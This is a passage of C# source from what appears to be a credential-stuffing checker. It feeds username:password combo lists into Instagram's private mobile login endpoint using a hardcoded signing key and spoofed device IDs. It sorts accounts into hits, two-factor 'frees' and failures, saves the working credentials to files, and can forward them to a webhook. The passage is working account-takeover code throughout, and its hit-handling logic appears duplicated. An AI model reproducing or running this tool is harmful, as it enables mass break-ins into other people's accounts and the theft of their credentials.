                                                                 "\",\"country_codes\":\"[{\\\"country_code\\\":\\\"1\\\",\\\"source\\\":[\\\"default\\\"]}]\",\"device_id\":\"" +
                                                                 android_id +
                                                                 "\",\"google_tokens\":\"[]\",\"guid\":\"" + guid +
                                                                 "\",\"login_attempt_count\":0,\"password\":\"" +
                                                                 array[1] + "\",\"phone_id\":\"" + guid +
                                                                 "\",\"username\":\"" + array[0] + "\"}");

                            var strResponse = req.Post(new Uri("https://i.instagram.com/api/v1/accounts/login/"),
                                                       new BytesContent(Encoding.Default.GetBytes(
                                                                            "signed_body=9387a4ccde8c044515539b8249da655d63a73093eaf7c4b45fad126aa961e45b." +
                                                                            jsonData + "&ig_sig_key_version=4"))).ToString();

                            if (strResponse.Contains("logged_in_user"))
                            {
                                var is_verified = Regex.Match(strResponse, "is_verified\": (.*?),").Groups[1].Value;
                                var is_business = Regex.Match(strResponse, "is_business\": (.*?),").Groups[1].Value;
                                var is_private  = Regex.Match(strResponse, "is_private\": (.*?),").Groups[1].Value;
                                var username    = Regex.Match(strResponse, "\"username\": \"(.*?)\"").Groups[1].Value;

                                var otherCapture = "";
                                otherCapture = InstagramGetCaptures(cookies, username);

                                if (otherCapture == "")
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Instagram",
                                                          array[0] + ":" + array[1] + " | " +
                                                          $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}");
                                    }
                                    Export.AsResult("/Instagram_hits",
                                                    array[0] + ":" + array[1] + " | " +
                                                    $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}");
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Instagram Hits");
                                    }
                                }

                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Instagram_hits",
                                                array[0] + ":" + array[1] + " | " +
                                                $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}{otherCapture}");
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Instagram",
                                                      array[0] + ":" + array[1] + " | " +
                                                      $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}");
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Instagram Hits");
                                }
                            }
                            else if (strResponse.Contains("challenge_required") ||
                                     strResponse.Contains("\"two_factor_required\": true,"))
                            {
                                Program.Frees++;
                                Program.TotalChecks++;
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintFree("Instagram", array[0] + ":" + array[1]);
                                }
                                Export.AsResult("/Instagram_frees", array[0] + ":" + array[1] + " | 2fa");
                            }
                            else if (strResponse.Contains(
                                         "\"The password you entered is incorrect. Please try again.\"") ||
                                     strResponse.Contains(
                                         "\"The username you entered doesn't appear to belong to an account. Please check your username and try again.\",") ||
                                     strResponse.Contains("\"Invalid Parameters\","))
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }